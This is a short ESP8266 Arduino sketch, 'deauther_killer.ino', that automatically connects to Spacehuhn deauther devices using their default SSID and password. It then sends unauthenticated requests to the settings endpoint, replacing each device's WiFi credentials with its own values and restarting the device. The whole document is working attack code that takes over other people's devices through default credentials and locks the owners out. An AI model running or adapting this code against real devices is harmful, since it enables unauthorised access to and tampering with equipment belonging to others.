Arduino Script to auto connect to deauthers by spacehuhn with standard passwords and replaces them with whatever you want.

deauther_killer.ino

#include <ESP8266WiFi.h>

WiFiClient client;
const char* ssid = "pwned";
const char* password = "deauther";
const char* host = "192.168.4.1";

void setup()
{
  Serial.begin(115200);
  Serial.println();
  WiFi.begin(ssid, password);
}

void loop() 
{
  while (WiFi.status() != WL_CONNECTED) {
    delay(500);
    Serial.print(".");
    return;
  }
  Serial.println();
  Serial.println("FOUND ONE");
  call_link("/settingsSave.json?ssid=nyannyan&password=trololololo");
  delay(1000);
  call_link("/restartESP.json");
  delay(1000);
  Serial.println();
  Serial.println("BYE BYE");
  Serial.println();
  delay(1000);
}

void call_link(String url)
{
  const int httpPort = 80;
  if (!client.connect(host, httpPort)) {
    Serial.println("connection failed");
    return;
  }
  client.print(String("GET ") + url + " HTTP/1.1\r\n" +
               "Host: " + host + "\r\n" +
               "Connection: close\r\n\r\n");
               
  Serial.println("request sent");
  while (client.connected()) {
    String line = client.readStringUntil('\r');
    Serial.println(line);
  }
}